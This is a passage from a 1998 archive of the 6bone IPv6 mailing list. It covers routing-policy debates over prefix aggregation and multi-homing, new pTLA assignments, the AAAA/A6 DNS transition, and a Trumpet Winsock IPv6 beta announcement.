> is announcing a more specific /48, it really makes a mess. 
> 
> Is there a definitive policy put forth that we can ask to 
> have enforced? I
> am seeing many assymetries due to differences in routing policy.
> 
> 
> Thanks
> Rob Rockell
> Sprintlink Internet Service Center
> Operations Engineering
> 703-689-6322
> 1-800-724-3329, PIN 385-8833
> 
> 

From 6bone-owner  Mon Sep  7 00:31:58 1998
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From: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>
To: "'Robert Rockell'" <rrockell@sprint.net>, 6bone@ISI.EDU
Subject: RE: routing policy questions
Date: Mon, 7 Sep 1998 08:31:14 +0100 
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Sorry, I hit the send button too quickly on my previous mail...
 
> For instance, if I am getting a /24 aggregate from a peer, 
> and someone else is announcing a more specific /48, it 
> really makes a mess. 

You should contact the site advertising the more specific /48 and
ask them to fix their filtering list.

> 
> Is there a definitive policy put forth that we can ask to 
> have enforced? 

As Bob Fink mentioned already, the 6bone routing is governed
by <draft-ngtrans-6bone-routing-practice-01.txt>.

Cheers, Bertrand

From 6bone-owner  Tue Sep  8 09:19:19 1998
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On Mon, Sep 07, 1998 at 08:28:35AM +0100, Buclin, Bertrand wrote:
> > Should backbone nodes be filtering out anything beyond a /24 
> > that is not from their ptla? 
> As Bob Fink pointed out, first of all backbone nodes should only
> be announcing a /24 for their own pTLA. If everyone does this, then
> we have already reduced the problem quite a bit. You can receive
> more specific routes from NLAs as well. In that case, you can easily
> convince your NLA site to fix the list of prefix they advertise.

Let us imagine a pNLA site with two tunnels to pTLAs. When the main link (main
in a sense that most machines have IP numbers from this site) fails there is no
way to reach this pNLA site from anywhere else except second pTLA networks (if
the agreement provides). The solutions could be:
- allow to send /32 between pTLAs
- become a pTLA
- have a tunnel to every pTLA
- have double (triple, quadruple, ...) IP numbers (?)
are there any better ideas?

What is the reason of not propagating > /24 prefixes and how to setup backup
links not being pTLA?

R.

From 6bone-owner  Tue Sep  8 09:50:37 1998
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Date: Tue, 08 Sep 1998 09:50:29 -0700
To: "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>
From: Bob Fink <rlfink@lbl.gov>
Subject: BME-FSZ now has pTLA 3FFE:2F00::/24
Cc: Bill Manning <bmanning@ISI.EDU>, 6bone@ISI.EDU
In-Reply-To: <Pine.SUN.3.96.980824112213.14599F-100000@bagira.fsz.bme.hu
 >
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Szabolcs ,

At 11:34 AM 8/24/98 +0200, Szabolcs Szigeti (PinkPanther) wrote:
>
>Dear Bob,
>
>I'm writing on behalf of our IPv6 team at the Department of Control
>Engineering and Information Technology at the Technical University of
>Budapest (BME-FSZ). We would like to apply for the assignment of a pTLA to
>us.
...

The two weeks have passed with supportive comment, thus I have assigned BME-FSZ the pTLA of 3FFE:2F00::/24.

You can look at http://www-ntd.lbl.gov/cgi-bin/whois.pl?bme-fsz to see it in the registry.  Please note that your previous inet6num is still there. Please delete it if you think appropriate.

The 6bone pTLA page is not yet updated, but will soon be.


Thanks, and welcome to the 6bone backbone.

Bob


From 6bone-owner  Tue Sep  8 10:07:53 1998
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To: 6bone@ISI.EDU
Subject: RE: routing policy questions
In-Reply-To: Your message of "Mon, 7 Sep 1998 08:31:14 +0100 "
	<71203AED30DAD111AFEF0000C09940BE0B3DD1@gvamsx1.ch.att.com>
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Date: Tue, 08 Sep 1998 13:07:34 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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Hi. 6bone folks,

Recently, I established a tunnel with an European site that has a
/48 assigned from a pTLA (in US but not me) through some transit
site.

I'd like to ask people on 6bone who are involved in multi-homing
about how you implement it (keeping the 6bone routing policy).

Thanks,
Masaki

From 6bone-owner  Tue Sep  8 11:19:19 1998
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Subject: Re: routing policy questions
To: masaki@merit.edu (Masaki Hirabaru)
Date: Tue, 8 Sep 1998 22:18:11 +0400 (MSK DST)
Cc: 6bone@ISI.EDU
In-Reply-To: <19980908130734L.masaki@merit.edu> from "Masaki Hirabaru" at Sep 8, 98 01:07:34 pm
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Hello!

> Recently, I established a tunnel with an European site that has a
> /48 assigned from a pTLA (in US but not me) through some transit
> site.
> 
> I'd like to ask people on 6bone who are involved in multi-homing
> about how you implement it (keeping the 6bone routing policy).

It is pretty clear that this 6bone rule is in serious contradiction
with bgp4 paradigm and with concept of AS numbers. Read, with reality 8)

Probably, I do not understand something, but it is impossible
to inhibit exporting shorter prefixes without getting rid of
these concepts.

Suppose, my pTLA is collection of 3 AS. 2 of them have tunnels.
If I do aggregation, it will not only make paths much longer,
I will be forced to export aggregate with different AS paths!!!

I am sorry, I prefer to violate any rules, only to avoid BGP breaking.

Alexey Kuznetsov

From 6bone-owner  Tue Sep  8 11:54:21 1998
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From: Robert Rockell <rrockell@sprint.net>
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To: Rafal Maszkowski <rzm@icm.edu.pl>
cc: 6bone@ISI.EDU
Subject: Re: routing policy questions
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stricly speaking, it is routing table size. On big backbones, when you allow
a more specific to be announced by one of your customers (that is using youR
address space) you not only have to now listen to that announcement from the
other provider that YOU peer with, but you now have to de-aggregate your own
outbound announcements to the rest of the world, which, for instance, if
everyone was multi-homed, that woudl triple your table size (aggregate,
other provider's announcements, and your own deaggreagate) for every
multi-homed customer. In v4, this is already a problem for backbones that
are not optimized to handle >65k routes, and we know that routing table size
can only get bigger.

If everyone would dual-assign their interaces of all machines, then the
routing table size tops out at 15 bits of size, as in any given backbone,
one only needs to hear all the /24 of other TLA's, and then their own
internal /48's that they have delegated. Without doing this, we can see that
routing table sizes grow beyond a manageable amount quickly. This is why I
was asking. 

When a fully implementable solution for v6 occurs, the assignment of address
space should become a lot easier, making this solution more feasible to
network administrators, as ipv6 address assignment will be done
automatically, through the solicited node request stuff.

What had spurred this question on was that I was seeing more specific routes
to a destination from a provider who is not even directly connectected to that
node, than from the network provider who is directly connected. This leads
to bad routing. The only solutions are:

1. stop that and filter on the /24 from other tla's, or
2. allow the /48's and fully de-aggregate your announcements.

-as stated above, #2 is not feasilbe based on potential routing table size.
This is not a problem now, but will quickly become one if this sort of
routing table is allowed to go to production. Just wondering if anyone
actually is doing the nice-guy thing of dually assigning when multi-homed.


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833

On Mon, 7 Sep 1998, Rafal Maszkowski wrote:

->On Mon, Sep 07, 1998 at 08:28:35AM +0100, Buclin, Bertrand wrote:
->> > Should backbone nodes be filtering out anything beyond a /24 
->> > that is not from their ptla? 
->> As Bob Fink pointed out, first of all backbone nodes should only
->> be announcing a /24 for their own pTLA. If everyone does this, then
->> we have already reduced the problem quite a bit. You can receive
->> more specific routes from NLAs as well. In that case, you can easily
->> convince your NLA site to fix the list of prefix they advertise.
->
->Let us imagine a pNLA site with two tunnels to pTLAs. When the main link (main
->in a sense that most machines have IP numbers from this site) fails there is no
->way to reach this pNLA site from anywhere else except second pTLA networks (if
->the agreement provides). The solutions could be:
->- allow to send /32 between pTLAs
->- become a pTLA
->- have a tunnel to every pTLA
->- have double (triple, quadruple, ...) IP numbers (?)
->are there any better ideas?
->
->What is the reason of not propagating > /24 prefixes and how to setup backup
->links not being pTLA?
->
->R.
->


From 6bone-owner  Tue Sep  8 15:33:04 1998
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From: Patrick Morris <patrickm@savvis.com>
Reply-To: "patrickm@savvis.com" <patrickm@savvis.com>
To: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: IPv4 vs IPv6 Comparison
Date: Tue, 8 Sep 1998 17:27:45 -0500
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Can anyone direct me to a reference which discusses, at a 
somewhat general level, the major differences between IPv4 and 
v6?  Probably a 20 or so page discussion would be helpful.

Also, any references which deal with the concepts of the 
hierarchical addressing scheme in IPv6?  I have been unable to 
find anything which explains high level concepts.  Rather, 
everything seems to go straight to the bits and bytes.  My brain 
only makes sense of bits and bytes after it understands the 
concepts.

Thanks!
---------------------------------------------------------
Patrick Morris - Manager, Sales Engineering
SAVVIS Communications Corporation
7777 Bonhomme - Suite 1501
St. Louis, MO 63105
(314)719-2453 phone
(314)719-2498 fax
(888)688-0190 pager

-----Original Message-----
From:	kuznet@ms2.inr.ac.ru [SMTP:kuznet@ms2.inr.ac.ru]
Sent:	Tuesday, September 08, 1998 1:18 PM
To:	Masaki Hirabaru
Cc:	6bone@ISI.EDU
Subject:	Re: routing policy questions

Hello!

> Recently, I established a tunnel with an European site that 
has a
> /48 assigned from a pTLA (in US but not me) through some 
transit
> site.
>
> I'd like to ask people on 6bone who are involved in 
multi-homing
> about how you implement it (keeping the 6bone routing policy).

It is pretty clear that this 6bone rule is in serious 
contradiction
with bgp4 paradigm and with concept of AS numbers. Read, with 
reality 8)

Probably, I do not understand something, but it is impossible
to inhibit exporting shorter prefixes without getting rid of
these concepts.

Suppose, my pTLA is collection of 3 AS. 2 of them have tunnels.
If I do aggregation, it will not only make paths much longer,
I will be forced to export aggregate with different AS paths!!!

I am sorry, I prefer to violate any rules, only to avoid BGP 
breaking.

Alexey Kuznetsov


From 6bone-owner  Tue Sep  8 16:48:38 1998
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Date: Tue, 08 Sep 1998 17:51:21 -0600
From: Alejandro Avella <aavella@advtech.uswest.com>
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Patrick Morris wrote:

> Also, any references which deal with the concepts of the
> hierarchical addressing scheme in IPv6?

Take a look to:Stallings, William, "IPv6: The New Internet Protocol",
IEEE Communications Magazine, pp. 96-108, July 1996.
It is more high level than most references.

-Alejandro


From 6bone-owner  Tue Sep  8 17:20:34 1998
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	(envelope-from pete@trumpet.com.au)
To: 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: Beta of IPv6 Trumpet Winsock release imminent, some musings
Date: Wed, 9 Sep 1998 10:25:12 +1100
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As I have a beta just about ready to release, I just want to be prepared for 
the onslaught that it may generate.

If a whole bunch of people want to connect to the 6bone, are 6bone members 
able to provide quick access to those that may want to beta test.  I plan to 
make the beta available to regular Trumpet beta testers.

The initial beta will be LAN only, I don't have PPP ready yet.  Anyone want to 
offer me PPP over Ipv6 access for testing?

One possible way of providing rapid access to a large group of people might be 
to use a reflector site similar to Cuseeme.  Has any work been done on that 
yet?  I could see it implemented as a automatically configurable multi 
user tunnel (cavern?) with the client connecting to a fixed IP, and bootp/dhcp 
over ipv6 used to provide an IPv6 address, the Ipv4/Ipv6 tuple being used to 
maintain the tunnel.  I could write such a beast fairly quickly now.

Also, is there a defined way of compressing Ipv6 headers that are operating 
over a tunnel.  I can see a scenario where a user is tunnelling direct from 
their machine over an Ipv4 PPP connection.  The overhead of an extra 40 bytes 
per Ipv6 header might make conenctions a little chunky especially something 
like telnet, and also the IPv4 header won't be compressed either as it won't 
be TCP protocol so there will be a minimum of 60 bytes per tunneled packet 
each way.

Peter

--
Peter R. Tattam - Managing Director          
Trumpet Software International Pty Ltd.
Phone: +61-362-450220     Fax: +61-362-450210

From 6bone-owner  Wed Sep  9 01:02:54 1998
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To: 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: Re: Beta of IPv6 Trumpet Winsock release imminent, some musings
Date: Wed, 9 Sep 1998 18:02:08 +1100
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some recipients of the 6bone list have asked how they can join our beta
program.

There is no formal process to join.  What I normally do is publish the
beta copies from our FTP site for all and sundry to grab. Betas are
released AS IS and no liability will be taken by us if something goes
wrong.

I make announcements of betas from the "trumpet.announce" newsgroup.  

If your news site doesn't carry the trumpet.* newsgroups, they are
publicly accessible from newsroom.trumpet.com.au.  Please note however
that our news server keeps a historic list going back quite a way so you
might want to tell your news browser to "catch up" all the trumpet.*
groups and then unread the last 20 or so.  Other servers will of course
expire articles as they may see fit.

Peter



From 6bone-owner  Wed Sep  9 07:51:03 1998
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To: kuznet@ms2.inr.ac.ru
Cc: 6bone@ISI.EDU
Subject: Re: routing policy questions
In-Reply-To: Your message of "Tue, 8 Sep 1998 22:18:11 +0400 (MSK DST)"
	<199809081818.WAA18334@ms2.inr.ac.ru>
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> Suppose, my pTLA is collection of 3 AS. 2 of them have tunnels.
> If I do aggregation, it will not only make paths much longer,
> I will be forced to export aggregate with different AS paths!!!

Hi. Alexey,

In your example, a pTLA is "shared" by more than one AS? In common
cases, I think prefixes are allocated "hierarchally"; a pTLA is
assigned to one AS (site) and the site delegates NLAs to the others.
I think that your example could be translated into that a site other
than root of pTLA wants to do multi-homing.

Masaki

>> From: kuznet@ms2.inr.ac.ru
>> Subject: Re: routing policy questions
>> Date: Tue, 8 Sep 1998 22:18:11 +0400 (MSK DST)
>> Message-ID: <199809081818.WAA18334@ms2.inr.ac.ru>
>>
> Hello!
> 
> > Recently, I established a tunnel with an European site that has a
> > /48 assigned from a pTLA (in US but not me) through some transit
> > site.
> > 
> > I'd like to ask people on 6bone who are involved in multi-homing
> > about how you implement it (keeping the 6bone routing policy).
> 
> It is pretty clear that this 6bone rule is in serious contradiction
> with bgp4 paradigm and with concept of AS numbers. Read, with reality 8)
> 
> Probably, I do not understand something, but it is impossible
> to inhibit exporting shorter prefixes without getting rid of
> these concepts.
> 
> Suppose, my pTLA is collection of 3 AS. 2 of them have tunnels.
> If I do aggregation, it will not only make paths much longer,
> I will be forced to export aggregate with different AS paths!!!
> 
> I am sorry, I prefer to violate any rules, only to avoid BGP breaking.
> 
> Alexey Kuznetsov
> 

From 6bone-owner  Wed Sep  9 08:51:26 1998
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Subject: Re: routing policy questions
To: masaki@merit.edu
Date: Wed, 9 Sep 1998 19:50:47 +0400 (MSK DST)
Cc: 6bone@ISI.EDU
In-Reply-To: <19980909104150A.masaki@merit.edu> from "masaki@merit.edu" at Sep 9, 98 10:41:50 am
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Hello!

> In your example, a pTLA is "shared" by more than one AS? 

Yes.

>							In common
> cases, I think prefixes are allocated "hierarchally"; a pTLA is
> assigned to one AS (site) and the site delegates NLAs to the others.
> I think that your example could be translated into that a site other
> than root of pTLA wants to do multi-homing.

- Today "root" has pretty poor connectivity.
- Tomorrow it will have superb connectivity.
- After week, it (probably) will have no connectivity, except for
  their peers due to collapse of russian economics 8)8)

Als, 6bone works on existing IPv4 infrastructure, and tla policy
is determined by it rather than any aestetical reasons.

Your statement means only one thing: any AS, which wants to make its
own policy,  have right to get its own pTLA. It will result only
in TLA proliferation, rather than to nice hierarchical picture.

Alexey

From 6bone-owner  Wed Sep  9 17:47:15 1998
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	(envelope-from pete@trumpet.com.au)
To: 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: GSE, future of Ipv6
Date: Thu, 10 Sep 1998 10:46:34 +1100
Message-ID: <3c41t4c$1f0@jimmy.trumpet.com.au>
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I had a read of draft-ietf-ipngwg-esd-analysis-02 last night with some 
interest.

I have also browsed some of the more recent drafts if IPv6, and have noticed a 
trend towards the concepts of GSE - am I right?

A few comments...

1) It is quite a paradigm shift, and takes a little bit of thought to grasp 
the full issues, although if it could established, I can see some clear 
benefit.  However getting the rest of the world to agree on the paradigm shift 
might set the development of IPv6 back a few more years.

2) As I need to plan future development of our products, having a clear 
direction of what has to happen vs what would be nice to happen are needed to 
make decisions on that future development.

3) What are going to be the trends of global routing over the next year or so.

4) Is the paradigm shift needed yet, and will it's implementation slow down 
the rolling out of IPv6?

Peter


From 6bone-owner  Thu Sep 10 01:29:02 1998
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To: 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: Trumpet Winsock 4.1 IPv6 (Beta 1)
Date: Thu, 10 Sep 1998 18:28:18 +1100
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Just posted this to our trumpet.announce newsgroup.

Feel free to try it out and send me your feedback.  Of special interest to 
those on the list is my attempt at IPv6 to IPv4 address translation.
This allows one to use existing IPv4 apps running over winsock to access the 
IPv6 network.  For e.g., I am able to use regular IPv4 Netscape to browse any 
of the IPv6 web sites that are out there.

My apologies for the minimalist approach, but I'm doing a proof of concept at 
the moment.

The next in list to be done is Address Autoconfiguration, and making the 
resolver work with IPv6 DNS servers (It does understand AAAA records mind you 
- read the readme)

Enjoy!!!

Peter


From: peternews@trumpet.com.au (Peter R. Tattam)
Newsgroups: trumpet.announce
Subject: Trumpet Winsock 4.1 IPv6 (Beta 1) - BETA TESTERS ONLY
Date: Thu, 10 Sep 1998 18:21:25 +1100

IMPORTANT:  This is not a production release and as such our tech support 
lines are not obliged to respond to questions relating to this release.  All 
enquiries regarding this beta release should be sent to me 
(peternews@trumpet.com.au) or posted in trumpet.feedback until further notice.

I'm posting this mainly to give explanation to people are wondering what 
the new beta is about.

Now down to business.

Location:

        ftp://ftp.trumpet.com/winsock/beta-4.1/twsk41b1.exe             USA

or

        ftp://ftp.trumpet.com.au/winsock/beta-4.1/twsk41b1.exe          AUS

This is pretty much a work in progress, but I'd like to get as wide a coverage 
as possible.  I'd also like to discontinue the 4.0 source tree.  All future 
Trumpet Winsock enhancements will be made to the 4.1 beta tree.  I have 
designed it so that the IPv6 stuff can be completely compiled out should there 
be a problem.

Trumpet Winsock beta testers...  please check that I haven't broken any of the 
IPv4 functionality.  There was a bit of radical surgery required to graft 
in the IPv6 support.

It is basically 4.0C with IPv6 enhancements.

Note:  The IPv6 support is only for those who can make reasonable use of it.  
You will either have to have an IPv6 enabled network or apply for your site to 
be hooked to the 6bone.  Until widespread deployment happens, availability of 
IPv6 connectivity may be patchy.

You can find more about the 6bone at http://www.6bone.net.

There is a readme which provides additional information about the enhancements.


Peter

--
Peter R. Tattam - Managing Director          
Trumpet Software International Pty Ltd.



From 6bone-owner  Thu Sep 10 05:39:59 1998
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To: 6bone@ISI.EDU
Subject: Can some one bring me up to speed?
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Hi
        I am interested in the "AAAA"/"A6" thread which is not on the web site
archive yet could someone please bring me up to speed as to the current
thoughts?
 Stephen Burley                                
 Senior HOSTMASTER for UUNET(UK)              
 Internet House                         
 332 Science Park, Milton Rd.        
 Cambridge                         
 CB4 4BZ                                        http://www.uk.uu.net

       Todays weirdness is tomorrows reasons why.

From 6bone-owner  Thu Sep 10 09:42:48 1998
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Date: Thu, 10 Sep 1998 09:42:42 -0700
To: stephenb@uk.uu.net, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: Can some one bring me up to speed?
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Stephen,

At 01:33 PM 9/10/98 +0100, Stephen Burley wrote:
>Hi
>        I am interested in the "AAAA"/"A6" thread which is not on the web site
>archive yet could someone please bring me up to speed as to the current
>thoughts?

Here is the best I can do easily (note it's on ngtrans not the 6bone).


Bob

>Date: Wed, 09 Sep 1998 10:36:41 +0200 
>To: ngtrans@sunroof.Eng.Sun.COM 
>From: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no> 
>Subject: (ngtrans) Possible AAAA Record Transition Strategies 
>
>OK, now we're settled (I think):
>
>
>- The One True Draft is draft-ietf-ipngwg-dns-lookups-01.txt
>- The One True Record Type is "A6"
>- The IPNG WG has agreement that they want "A6" to be deployed.
>
>
>Now it's a transition issue.
>
>
>QUESTION 1: What is the current state?
>
>
>- Fact: AAAA records exist.
>- Possibility 1: Deployed code that uses AAAA only exists, and is
>prohibitively
>                 expensive to update
>- Possibility 2: Deployed code that uses AAAA only exists, but can be
>                 updated at reasonable cost to A6 given enough time
>
>
>QUESTION 2: What is the desired final state?
>
>
>- Possibility 1: Only A6 records exist in the DNS
>- Possibility 2: Some sites have A6 records, some sites have AAAA records
>- Possibility 3: Some sites have A6 records, all sites have AAAA records
>- Possibility 4: All sites have A6 records, some sites have AAAA records
>
>
>I sure hope we're not aiming for 2.....
>
>
>QUESTION 3: What are the intermediate states between now and the final state?
>
>
>No suggestions.
>
>
>                 Harald A
>
>
>-- 
>Harald Tveit Alvestrand, Maxware, Norway
>Harald.Alvestrand@maxware.no

From 6bone-owner  Thu Sep 10 10:31:34 1998
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Date: Thu, 10 Sep 1998 10:31:03 -0700
To: pete@trumpet.com.au (Peter R. Tattam), 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: GSE, future of Ipv6
Cc: Bob Hinden <hinden@iprg.nokia.com>
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Peter,

At 10:46 AM 9/10/98 +1100, Peter R. Tattam wrote:
>I had a read of draft-ietf-ipngwg-esd-analysis-02 last night with some 
>interest.
>
>I have also browsed some of the more recent drafts if IPv6, and have noticed a 
>trend towards the concepts of GSE - am I right?
>
>A few comments...
>
>1) It is quite a paradigm shift, and takes a little bit of thought to grasp 
>the full issues, although if it could established, I can see some clear 
>benefit.  However getting the rest of the world to agree on the paradigm shift 
>might set the development of IPv6 back a few more years.
>
>2) As I need to plan future development of our products, having a clear 
>direction of what has to happen vs what would be nice to happen are needed to 
>make decisions on that future development.
>
>3) What are going to be the trends of global routing over the next year or so.
>
>4) Is the paradigm shift needed yet, and will it's implementation slow down 
>the rolling out of IPv6?

GSE/ESD (previsously known as 8+8) is an older work that is documented because of it's useful background info (we hope to turn it into an Info RFC so it doesn't get lost).  The Aggregatable Unicast Address structure is partly the result of  this work and much evolving thought.

So I would suggest looking at:


ftp://ftp.isi.edu/in-notes/rfc2374.txt  Aggregatable addressing


http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-tla-assignment-05.txt TLA/NLA rules


http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-router-renum-04.txt Router Renumbering

and then ask some specific questions.

If I've missed your question, please say so.


Thanks,

Bob

From 6bone-owner  Thu Sep 10 12:15:17 1998
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From: Brian Williams <brianw@unidec.co.uk>
To: 6bone@ISI.EDU
Subject: Coming Back
Date: Thu, 10 Sep 1998 20:15:05 +0100
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Hi Guys, 

I have been out of the 6bone and IPV6 for about 8-10 months due to
personal problems, I need to get back on top of things, anyone care to
help out.

I need a new tunnel and all the information on the development of
routing policies and border gateway control.

Thanks in advance 

Brian 
 

From 6bone-owner  Mon Sep 14 17:39:02 1998
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Date: Mon, 14 Sep 1998 17:38:56 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: new site AMS-IX as 6bone pTLA 3FFE:3000::/24
Cc: Bill Manning <bmanning@ISI.EDU>
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6bone Folk,

I have added the new site AMS-IX as pTLA 3FFE:3000::/24:

	http://www.isi.edu/cgi-bin/davidk/whois.pl?ams-ix

I have done this without the usual 2-week review cycle as it didn't quite fit the normal process,and they are certainly ready and qualified.  AMS-IX will be a native IPv6 Exchange and has SURFnet, AT&T, UUnet-NL, and Cistron as their first participants.

After they get it going, and we have the Sub-TLA assignments coming out of the registries, they would be one of the first candidates to provide a real service. 

So, welcome to AMS-IX!


Bob


===
At 11:53 PM 9/9/98 +0200, Henk Steenman wrote:
>Bob,
>
>On behalf of the Amsterdam Internet Exchange (AMS-IX,
>http://www.ams-ix.net/ ) I have the following request.
>
>In Amsterdam (The Netherlands) we are currently starting an experiment with
>a native IPv6 Internet Exchange. The IPv6 based Exchange will be
>implemented on the current production platform of the AMS-IX but will be
>defined in a different VLan in order not to disturb any production traffic. 
>The Initial parties involved in the experiment are:
>	SURFnet, AT&T, UUnet-NL, Cistron
>After a start-up period the experiment will be opened up for more.
>Part (large) of the experiment will involve different addressing structures
>and one of the more interesting ones will involve the issue of a pTLA for
>the exchange itself, pNLA's of this pTLA for the AMS-IX connected parties
>and routing of the AMS-IX pTLA by  several transit providers. 
>To be able to implement this, we would like to get a 6Bone pTLA for the
>AMS-IX.
>
>Regards.
>
>- Henk
>
>Henk Steenman                                     Telephone: + 31 20 4097 656
>Internetworking Architect                         Fax:       + 31 20 4531 574
>AT&T, ICoE
>e-mail:Henk.Steenman@icoe.att.com
> 
-end

From 6bone-owner  Mon Sep 14 18:38:55 1998
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Subject: Re: new site AMS-IX as 6bone pTLA 3FFE:3000::/24
To: rlfink@lbl.gov (Bob Fink)
Date: Mon, 14 Sep 1998 18:38:51 -0700 (PDT)
Cc: 6bone@ISI.EDU, bmanning@ISI.EDU
In-Reply-To: <1306327759-141249126@cnrmail.lbl.gov> from "Bob Fink" at Sep 14, 98 05:38:56 pm
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> 
> 6bone Folk,
> 
> I have added the new site AMS-IX as pTLA 3FFE:3000::/24:
> 
> 	http://www.isi.edu/cgi-bin/davidk/whois.pl?ams-ix
> 
> I have done this without the usual 2-week review cycle as it didn't quite fit the normal process,and they are certainly ready and qualified.  AMS-IX will be a native IPv6 Exchange and has SURFnet, AT&T, UUnet-NL, and Cistron as their first participants.
> 
> After they get it going, and we have the Sub-TLA assignments coming out of the registries, they would be one of the first candidates to provide a real service. 
> 

	Actually, that would be the second LAP was/is the first.
	I should have that part of the 6bone core back online within
	the next few hours.


	
> So, welcome to AMS-IX!
> 
> 
> Bob
> 
> 
> ===
> At 11:53 PM 9/9/98 +0200, Henk Steenman wrote:
> >Bob,
> >
> >On behalf of the Amsterdam Internet Exchange (AMS-IX,
> >http://www.ams-ix.net/ ) I have the following request.
> >
> >In Amsterdam (The Netherlands) we are currently starting an experiment with
> >a native IPv6 Internet Exchange. The IPv6 based Exchange will be
> >implemented on the current production platform of the AMS-IX but will be
> >defined in a different VLan in order not to disturb any production traffic. 
> >The Initial parties involved in the experiment are:
> >	SURFnet, AT&T, UUnet-NL, Cistron
> >After a start-up period the experiment will be opened up for more.
> >Part (large) of the experiment will involve different addressing structures
> >and one of the more interesting ones will involve the issue of a pTLA for
> >the exchange itself, pNLA's of this pTLA for the AMS-IX connected parties
> >and routing of the AMS-IX pTLA by  several transit providers. 
> >To be able to implement this, we would like to get a 6Bone pTLA for the
> >AMS-IX.
> >
> >Regards.
> >
> >- Henk
> >
> >Henk Steenman                                     Telephone: + 31 20 4097 656
> >Internetworking Architect                         Fax:       + 31 20 4531 574
> >AT&T, ICoE
> >e-mail:Henk.Steenman@icoe.att.com
> > 
> -end
> 


-- 
--bill

From 6bone-owner  Mon Sep 14 22:32:18 1998
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To: Bill Manning <bmanning@ISI.EDU>
cc: rlfink@lbl.gov (Bob Fink), 6bone@ISI.EDU
Subject: Re: new site AMS-IX as 6bone pTLA 3FFE:3000::/24 
In-reply-to: Your message of "Mon, 14 Sep 1998 18:38:51 PDT."
             <199809150138.SAA29405@zephyr.isi.edu> 
Date: Mon, 14 Sep 1998 22:31:43 -0700
From: Stephen Stuart <stuart@tech.org>
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> 	Actually, that would be the second LAP was/is the first.
> 	I should have that part of the 6bone core back online within
> 	the next few hours.

Or third, if you consider the native IPv6 IX set up at the Palo Alto
Internet Exchange way back when (addressed using part of the
DIGITAL-CA pTLA).

Nice to see the idea catching on, though!

Stephen

From 6bone-owner  Tue Sep 15 03:28:39 1998
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	(envelope-from pete@trumpet.com.au)
To: 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: Progress noted, PPP question, Stateless config question.
Date: Tue, 15 Sep 1998 20:27:56 +1100
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In article <199809150531.WAA17383@center.tech.org> Stephen Stuart 
<stuart@tech.org> writes:>To: Bill Manning <bmanning@ISI.EDU>
>cc: rlfink@lbl.gov (Bob Fink), 6bone@ISI.EDU
>Subject: Re: new site AMS-IX as 6bone pTLA 3FFE:3000::/24 
>Date: Mon, 14 Sep 1998 22:31:43 -0700
>From: Stephen Stuart <stuart@tech.org>

>>       Actually, that would be the second LAP was/is the first.
>>       I should have that part of the 6bone core back online within
>>       the next few hours.

>Or third, if you consider the native IPv6 IX set up at the Palo Alto
>Internet Exchange way back when (addressed using part of the
>DIGITAL-CA pTLA).

>Nice to see the idea catching on, though!

>Stephen

Sounds good.

I've got Auto Address Configuration working now.  PPP to come soon when I can 
figure out what I'm supposed to do about compression.

Peter


From 6bone-owner  Tue Sep 15 13:58:27 1998
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Date: Tue, 15 Sep 1998 16:39:29 -0400 (EDT)
From: Robert Rockell <rrockell@sprint.net>
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To: 6bone@ISI.EDU
Subject: IPV6 question (fwd)
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noticed some strange routes today when grooming my routing table. Anyone know
if there is a special delegation I don't know about?

AS Paths removed in case it was a downstream/peer mistake:

5F00:4700::0/32
  5F00:6D00::0/32
  5F01:7800::0/32
  5F04:C500:CB26:1100::0/64
  5F0B:4F00::0/32
  5F0D:E900:CE9C:9400::0/64
  5F0F:8800::0/32
  5F10:8800::0/32
  5F11:D000:CCA2:E400::0/64

These appear to be only coming from you. I must be behind on my ipv6 delegation,
because I can't recall what 5f00::/8 is doing on the backbone. (comign from cisco
mostly???) If you could refresh my memory, I would most appreciate it,and make
sure not to filter it.

thanks in advance.


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833



From 6bone-owner  Tue Sep 15 15:10:35 1998
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My bad. Thanks for all the quick replies. Too used to seeing 3ffe's...


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833

On Tue, 15 Sep 1998, Robert Rockell wrote:

->noticed some strange routes today when grooming my routing table. Anyone know
->if there is a special delegation I don't know about?
->
->AS Paths removed in case it was a downstream/peer mistake:
->
->5F00:4700::0/32
->  5F00:6D00::0/32
->  5F01:7800::0/32
->  5F04:C500:CB26:1100::0/64
->  5F0B:4F00::0/32
->  5F0D:E900:CE9C:9400::0/64
->  5F0F:8800::0/32
->  5F10:8800::0/32
->  5F11:D000:CCA2:E400::0/64
->
->These appear to be only coming from you. I must be behind on my ipv6 delegation,
->because I can't recall what 5f00::/8 is doing on the backbone. (comign from cisco
->mostly???) If you could refresh my memory, I would most appreciate it,and make
->sure not to filter it.
->
->thanks in advance.
->
->
->Thanks
->Rob Rockell
->Sprintlink Internet Service Center
->Operations Engineering
->703-689-6322
->1-800-724-3329, PIN 385-8833
->
->


From 6bone-owner  Tue Sep 15 17:13:39 1998
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In-Reply-To: <Pine.GSO.3.95.980915163815.2100D-100000@iscserv.res.sprintlink.net> from "Robert Rockell" at Sep 15, 98 04:39:29 pm
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The IPv6 address space has had a number of proposed addressing formats.
This was one of them. It has been deemed "historic" but it works fine.
The Current format looks like it will be "historic" RSN.  


> 
> noticed some strange routes today when grooming my routing table. Anyone know
> if there is a special delegation I don't know about?
> 
> AS Paths removed in case it was a downstream/peer mistake:
> 
> 5F00:4700::0/32
>   5F00:6D00::0/32
>   5F01:7800::0/32
>   5F04:C500:CB26:1100::0/64
